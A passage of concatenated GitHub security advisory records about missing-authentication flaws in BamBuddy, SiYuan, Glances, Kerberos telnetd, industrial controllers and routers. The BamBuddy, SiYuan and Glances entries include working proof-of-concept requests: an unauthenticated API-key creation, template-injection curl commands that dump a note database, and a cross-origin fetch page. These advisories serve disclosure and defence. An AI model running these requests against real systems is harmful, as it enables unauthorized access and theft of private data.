AUTH REQUIRED\n  /maintenance/overview: NO AUTH REQUIRED\n  /maintenance/summary: NO AUTH REQUIRED\n  /maintenance/printers/1: NO AUTH REQUIRED\n  /maintenance/items/1/history: NO AUTH REQUIRED\n\n[EXTERNAL_LINKS]\n  /external-links/: NO AUTH REQUIRED\n  /external-links/1: 404 / 404\n\n[PROJECTS]\n  /projects: NO AUTH REQUIRED\n  /projects/templates: NO AUTH REQUIRED\n  /projects/1: NO AUTH REQUIRED\n  /projects/1/archives: NO AUTH REQUIRED\n  /projects/1/queue: NO AUTH REQUIRED\n  /projects/1/bom: NO AUTH REQUIRED\n  /projects/1/timeline: NO AUTH REQUIRED\n\n[LIBRARY]\n  /library/folders: NO AUTH REQUIRED\n  /library/folders/by-archive/1: NO AUTH REQUIRED\n  /library/folders/by-project/1: NO AUTH REQUIRED\n  /library/files: NO AUTH REQUIRED\n  /library/stats: NO AUTH REQUIRED\n  /library/folders/1: NO AUTH REQUIRED\n  /library/files/1: 404 / 404\n  /library/files/1/plates: 404 / 404\n  /library/files/1/gcode: 404 / 404\n  /library/files/1/filament-requirements: 404 / 404\n\n[API_KEYS]\n  /api-keys/: NO AUTH REQUIRED\n  /api-keys/1: NO AUTH REQUIRED\n\n[WEBHOOK]\n  /webhook/printer/1/status: 401 / 401\n  /webhook/queue: 401 / 401\n\n[AMS_HISTORY]\n  /ams-history/1/1: NO AUTH REQUIRED\n\n[SUPPORT]\n  /support/debug-logging: NO AUTH REQUIRED\n  /support/logs: NO AUTH REQUIRED\n\n[DISCOVERY]\n  /discovery/info: NO AUTH REQUIRED\n  /discovery/status: NO AUTH REQUIRED\n  /discovery/printers: NO AUTH REQUIRED\n  /discovery/scan/status: NO AUTH REQUIRED\n\n[PENDING_UPLOADS]\n  /pending-uploads/: NO AUTH REQUIRED\n  /pending-uploads/count: NO AUTH REQUIRED\n  /pending-uploads/1: 404 / 404\n\n[FIRMWARE]\n  /firmware/updates: NO AUTH REQUIRED\n  /firmware/updates/1: NO AUTH REQUIRED\n  /firmware/latest: NO AUTH REQUIRED\n\n[GITHUB_BACKUP]\n  /github-backup/config: NO AUTH REQUIRED\n  /github-backup/status: NO AUTH REQUIRED\n  /github-backup/logs: NO AUTH REQUIRED\n\n[METRICS]\n  /metrics: 401 / 401\n\n======================================================================\n\n[SUMMARY]\n\nEndpoints accessible WITHOUT authentication (77):\n  - /system/info\n  - /auth/status\n  - /settings\n  - /settings/check-ffmpeg\n  - /settings/spoolman\n  - /settings/backup\n  - /settings/virtual-printer/models\n  - /settings/virtual-printer\n  - /settings/mqtt/status\n  - /printers/1/camera/status\n  - /printers/1/camera/plate-detection/status\n  - /printers/1/camera/plate-detection/references\n  - /printers/1/kprofiles/notes\n  - /archives/\n  - /archives/analysis/failures\n  - /archives/stats\n  - /archives/tags\n  - /archives/1\n  - /archives/1/similar\n  - /archives/1/duplicates\n  - /archives/1/capabilities\n  - /archives/1/gcode\n  - /archives/1/plates\n  - /archives/1/filament-requirements\n  - /archives/1/project-page\n  - /filaments/\n  - /filaments/1\n  - /filaments/by-type/pla\n  - /cloud/status\n  - /cloud/fields\n  - /cloud/fields/print\n  - /queue/\n  - /notifications/\n  - /notifications/logs\n  - /notifications/logs/stats\n  - /notification-templates\n  - /notification-templates/variables\n  - /notification-templates/1\n  - /updates/version\n  - /updates/check\n  - /updates/status\n  - /maintenance/types\n  - /maintenance/overview\n  - /maintenance/summary\n  - /maintenance/printers/1\n  - /maintenance/items/1/history\n  - /external-links/\n  - /projects\n  - /projects/templates\n  - /projects/1\n  - /projects/1/archives\n  - /projects/1/queue\n  - /projects/1/bom\n  - /projects/1/timeline\n  - /library/folders\n  - /library/folders/by-archive/1\n  - /library/folders/by-project/1\n  - /library/files\n  - /library/stats\n  - /library/folders/1\n  - /api-keys/\n  - /api-keys/1\n  - /ams-history/1/1\n  - /support/debug-logging\n  - /support/logs\n  - /discovery/info\n  - /discovery/status\n  - /discovery/printers\n  - /discovery/scan/status\n  - /pending-uploads/\n  - /pending-uploads/count\n  - /firmware/updates\n  - /firmware/updates/1\n  - /firmware/latest\n  - /github-backup/config\n  - /github-backup/status\n  - /github-backup/logs\n\nEndpoints accessible with FORGED JWT only (20):\n  - /auth/me\n  - /users\n  - /users/1\n  - /users/1/items-count\n  - /groups\n  - /groups/permissions\n  - /groups/1\n  - /printers/\n  - /printers/usb-cameras\n  - /printers/1\n  - /printers/1/status\n  - /printers/1/current-print-user\n  - /printers/1/cover\n  - /printers/1/files\n  - /printers/1/storage\n  - /printers/1/logging\n  - /printers/1/slot-presets\n  - /printers/1/slot-presets/1/1\n  - /printers/1/print/objects\n  - /printers/1/runtime-debug\n\nEndpoints that rejected both (20):\n  - /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)\n  - /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)\n  - /archives/search (no_auth: 422, jwt: 422)\n  - /archives/compare (no_auth: 422, jwt: 422)\n  - /archives/1/source (no_auth: 404, jwt: 404)\n  - /cloud/settings (no_auth: 401, jwt: 401)\n  - /cloud/settings/1 (no_auth: 401, jwt: 401)\n  - /cloud/devices (no_auth: 401, jwt: 401)\n  - /cloud/firmware-updates (no_auth: 401, jwt: 401)\n  - /queue/1 (no_auth: 404, jwt: 404)\n  - /notifications/1 (no_auth: 404, jwt: 404)\n  - /external-links/1 (no_auth: 404, jwt: 404)\n  - /library/files/1 (no_auth: 404, jwt: 404)\n  - /library/files/1/plates (no_auth: 404, jwt: 404)\n  - /library/files/1/gcode (no_auth: 404, jwt: 404)\n  - /library/files/1/filament-requirements (no_auth: 404, jwt: 404)\n  - /webhook/printer/1/status (no_auth: 401, jwt: 401)\n  - /webhook/queue (no_auth: 401, jwt: 401)\n  - /pending-uploads/1 (no_auth: 404, jwt: 404)\n  - /metrics (no_auth: 401, jwt: 401)\n```\n\n\u003c/details\u003e\n\nWhile this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don\u0027t require many parameters, but other methods still appear vulnerable. I manually tested `POST /api/v1/api-keys/` and was able to create a new API key with all permissions without auth:\n```bash\ncurl \u0027http://10.0.0.4:8000/api/v1/api-keys/\u0027 -X POST -H \u0027Content-Type: application/json\u0027 --data-raw \u0027{\"name\":\"new key\",\"can_queue\":true,\"can_control_printer\":true,\"can_read_status\":true}\u0027\n```\nyields\n```json\n{\"id\":7,\"name\":\"new key\",\"key_prefix\":\"bb_QW2su...\",\"can_queue\":true,\"can_control_printer\":true,\"can_read_status\":true,\"printer_ids\":null,\"enabled\":true,\"last_used\":null,\"created_at\":\"2026-02-01T23:14:15\",\"expires_at\":null,\"key\":\"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w\"}\n```\n\n### Impact\nBamBuddy is vulnerable to unauthorized access and control",
  "id": "GHSA-gc24-px2r-5qmf",
  "modified": "2026-02-06T21:38:03Z",
  "published": "2026-02-02T21:21:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/maziggy/bambuddy/security/advisories/GHSA-gc24-px2r-5qmf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25505"
    },
    {
      "type": "WEB",
      "url": "https://github.com/maziggy/bambuddy/pull/225"
    },
    {
      "type": "WEB",
      "url": "https://github.com/maziggy/bambuddy/commit/a82f9278d2d587b7042a0858aab79fd8b6e3add9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/maziggy/bambuddy/commit/c31f2968889c855f1ffacb700c2c9970deb2a6fb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/maziggy/bambuddy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28"
    },
    {
      "type": "WEB",
      "url": "https://github.com/maziggy/bambuddy/blob/main/CHANGELOG.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/maziggy/bambuddy/releases/tag/v0.1.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-9529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-10T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The web application portal of the Cobham EXPLORER 710, firmware version 1.07, has no authentication by default. This could allow an unauthenticated, local attacker connected to the device to access the portal and to make any change to the device.",
  "id": "GHSA-gc98-jrpr-jwqx",
  "modified": "2024-04-04T02:21:24Z",
  "published": "2022-05-24T16:58:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9529"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/719689"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-1283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-13T22:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "The Dingtian DT-R0 Series is vulnerable to an exploit that allows \nattackers to bypass login requirements by directly navigating to the \nmain page.",
  "id": "GHSA-gccq-88r2-w9m4",
  "modified": "2025-02-14T00:30:44Z",
  "published": "2025-02-14T00:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1283"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-18"
    },
    {
      "type": "WEB",
      "url": "https://www.dingtian-tech.com/en_us/aboutus.html?tab=contact_us"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2007-0956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-04-06T01:19:00Z",
    "severity": "HIGH"
  },
  "details": "The telnet daemon (telnetd) in MIT krb5 before 1.6.1 allows remote attackers to bypass authentication and gain system access via a username beginning with a \u0027-\u0027 character, a similar issue to CVE-2007-0882.",
  "id": "GHSA-gcgf-6qp7-hmmv",
  "modified": "2022-05-03T03:18:01Z",
  "published": "2022-05-03T03:18:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-0956"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/33414"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10046"
    },
    {
      "type": "WEB",
      "url": "http://lists.suse.com/archive/suse-security-announce/2007-Apr/0001.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/24706"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/24735"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/24736"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/24740"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/24750"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/24755"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/24757"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/24785"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/24786"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/24817"
    },
    {
      "type": "WEB",
      "url": "http://security.gentoo.org/glsa/glsa-200704-02.xml"
    },
    {
      "type": "WEB",
      "url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-102867-1"
    },
    {
      "type": "WEB",
      "url": "http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2007-001-telnetd.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2007/dsa-1276"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/220816"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDKSA-2007:077"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2007-0095.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/464590/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/464666/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/464814/30/7170/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/23281"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1017848"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/usn-449-1"
    },
    {
      "type": "WEB",
      "url": "http://www.us-cert.gov/cas/techalerts/TA07-093B.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/1218"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/1249"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-6808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-22T21:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A CWE-284: Improper Access Control vulnerability exists in all versions of the Modicon M580, Modicon M340, Modicon Quantum, and Modicon Premium which could cause a remote code execution by overwriting configuration settings of the controller over Modbus.",
  "id": "GHSA-gcj2-7vc3-x83p",
  "modified": "2022-05-24T16:46:17Z",
  "published": "2022-05-24T16:46:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6808"
    },
    {
      "type": "WEB",
      "url": "https://www.schneider-electric.com/en/download/document/SEVD-2019-134-11"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0771"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260628153353-2d5d72223df4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:26:00Z",
    "nvd_published_at": "2026-06-24T22:16:48Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `/api/icon/getDynamicIcon` endpoint is explicitly excluded from authentication in SiYuan\u0027s kernel router (`router.go`, \"\u4e0d\u9700\u8981\u9274\u6743\" -- no auth needed). When called with `type=8` and a valid block `id` parameter, this endpoint invokes `RenderDynamicIconContentTemplate`, which executes a Go template that includes the `querySQL` and `queryBlocks` functions. These functions run arbitrary SELECT statements against the SiYuan SQLite database. An unauthenticated network-adjacent attacker who knows a valid block ID can exfiltrate all user note content, tags, asset references, and block attributes from the database.\n\n### Details\n\n**Root cause -- kernel/api/router.go, line 37:**\n\n```go\n// \u4e0d\u9700\u8981\u9274\u6743\nginServer.Handle(\"GET\", \"/api/icon/getDynamicIcon\", getDynamicIcon)\n```\n\n**Attack chain:**\n\n1. `getDynamicIcon` (kernel/api/icon.go) checks `type=8` and calls `model.RenderDynamicIconContentTemplate(content, id)` when `content` contains `.action{`.\n\n2. `RenderDynamicIconContentTemplate` (kernel/model/template.go:264) parses `content` as a Go template. The template function map includes `querySQL` and `queryBlocks` registered via `sql.SQLTemplateFuncs`.\n\n3. `querySQL` calls `Query(stmt, 1024)` (kernel/sql/block_query.go) which executes the SQL statement against the SQLite database containing all user notes.\n\n4. The SQL result is rendered into the SVG response body and returned to the unauthenticated caller.\n\n**Constraint:** The block `id` parameter must be a valid block ID that exists in the database. Block IDs are 22-character strings in the format `YYYYMMDDHHMMSS-XXXXXXX` (timestamp + 7 alphanumeric chars). Valid IDs are embedded in shared document URLs and can be leaked through any other authenticated endpoint, referrer headers, or browser history.\n\n**Tested on SiYuan v3.6.5 (Docker, network-serving mode, access auth code enabled):**\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=.action{querySQL+\"SELECT+id,content+FROM+blocks+LIMIT+5\"}\u0026id=\u003cKNOWN_BLOCK_ID\u003e\nHost: siyuan.example.com\n(No Authorization header)\n```\n\nResponse (SVG with exfiltrated data embedded):\n```xml\n\u003ctext ...\u003e[map[id:20260524010447-jc9ypd4 content:test]\n           map[id:20260524011002-ttaa7lu content:My password is SuperSecret123!]]\u003c/text\u003e\n```\n\nThe `querySQL` template function can query any table: `blocks` (all note content and metadata), `spans` (tags), `assets` (asset references), `attributes` (block attributes), and `refs` (backlinks).\n\n### PoC\n\n```bash\nTARGET=\"http://siyuan.example.com:6806\"\nBLOCK_ID=\"KNOWN_BLOCK_ID_HERE\"  # From a shared link or other source\n\n# List all database tables\ncurl -s \"${TARGET}/api/icon/getDynamicIcon?type=8\u0026content=.action%7BquerySQL+%22SELECT+name+FROM+sqlite_master+WHERE+type%3D%27table%27%22%7D\u0026id=${BLOCK_ID}\"\n\n# Dump all note content\ncurl -s \"${TARGET}/api/icon/getDynamicIcon?type=8\u0026content=.action%7BquerySQL+%22SELECT+id%2Ctype%2Ccontent+FROM+blocks+LIMIT+100%22%7D\u0026id=${BLOCK_ID}\"\n```\n\n**PoC script:** `/home/mrrobot/GoogleDrive/vuln-research/siyuan/scripts/poc_getDynamicIcon_sqli.sh`\n\n### Impact\n\nAny network-reachable SiYuan instance (Docker deployments default to `0.0.0.0:6806`) is vulnerable to complete note content exfiltration without authentication, provided the attacker can obtain one valid block ID. Block IDs are leaked in shared document URLs, embedded images referencing block IDs, and browser history. In a networked deployment scenario (e.g., a self-hosted SiYuan accessible from the internet), all personal notes, tags, and metadata are exposed to unauthenticated attackers.\n\nThis vulnerability is distinct from previously reported SQL injection issues (GHSA-j7wh-x834-p3r7) which targeted the search API. The `getDynamicIcon` endpoint was never intended to execute SQL queries but gained this capability through the `querySQL` template function registered for the icon content template renderer.",
  "id": "GHSA-gcm7-57gf-953c",
  "modified": "2026-07-10T19:26:00Z",
  "published": "2026-07-10T19:26:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gcm7-57gf-953c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54068"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-31846"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-23T12:16:07Z",
    "severity": "HIGH"
  },
  "details": "An unauthenticated credential disclosure vulnerability in the /goform/ate endpoint of Nexxt Solutions Nebula 300+ firmware through Nebula300+_v12.01.01.37 allows an adjacent attacker to obtain the administrator password in Base64-encoded form via a crafted HTTP request. The recovered credential can be used to authenticate to the device and facilitates further compromise when combined with other weaknesses present in the firmware.",
  "id": "GHSA-gf7h-gjp8-r79h",
  "modified": "2026-03-23T12:30:30Z",
  "published": "2026-03-23T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31846"
    },
    {
      "type": "WEB",
      "url": "https://nexxt-connectivity-frontend.s3.amazonaws.com/media/docs/Nebula300+_v12.01.01.37.zip"
    },
    {
      "type": "WEB",
      "url": "https://www.nexxtsolutions.com/connectivity/internal-products/ARN02304U6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34839"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T15:14:40Z",
    "nvd_published_at": "2026-04-21T00:16:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe Glances web server exposes a REST API (`/api/4/*`) that is accessible without authentication and allows cross-origin requests from any origin due to a permissive CORS policy (`Access-Control-Allow-Origin: *`).\n\nThis allows a malicious website to read sensitive system information from a running Glances instance in the victim\u2019s browser, leading to cross-origin data exfiltration.\n\nWhile a previous advisory exists for XML-RPC CORS issues, this report demonstrates that the REST API (`/api/4/*`) is also affected and exposes significantly more sensitive data.\n\n### Details\nWhen Glances is started in web mode (e.g., `glances -w -B 0.0.0.0`), it exposes a REST API endpoint at:\nhttp://\u003chost\u003e:61208/api/4/all\nThe server responds with:\nAccess-Control-Allow-Origin: *\n\nThis allows any origin to perform cross-origin requests and read responses.\n\nThe `/api/4/all` endpoint returns extensive system information, including:\n- Process list (`processlist`)\n- System details (hostname, OS, CPU info)\n- Memory and disk usage\n- Network interfaces and IP address\n- Running services and metrics\nBecause no authentication is required by default, this data is accessible to any web page.\n\n### PoC\n1. Start Glances:\nglances -w -B 0.0.0.0\n\n2. Create a malicious HTML file:\n\n```\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch(\"http://\u003cvictim-ip\u003e:61208/api/4/all\")\n  .then(r =\u003e r.json())\n  .then(data =\u003e {\n    console.log(\"DATA:\", data);\n  });\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n2. Open the file in a browser while Glances is running.\n3. Observe that the browser successfully retrieves sensitive system information from the API.\nThis works cross-origin (e.g., from file:// or attacker-controlled domains).\n\n### Impact\nA remote attacker can host a malicious website that, when visited by a victim running Glances, can:\n\n- Read sensitive system information\n- Enumerate running processes\n- Identify network configuration and IP addresses\n- Fingerprint the host system\n\nThis requires no authentication and no user interaction beyond visiting a web page. This represents a cross-origin information disclosure vulnerability and can aid further attacks such as reconnaissance or targeted exploitation.",
  "id": "GHSA-gfc2-9qmw-w7vh",
  "modified": "2026-05-04T20:08:23Z",
  "published": "2026-04-21T15:14:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-gfc2-9qmw-w7vh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34839"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/fdfb977b1d91b5e410bc06c4e19f8bedb0005ce9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Glances: Cross-Origin Information Disclosure via Unauthenticated REST API (/api/4) due to Permissive CORS"
}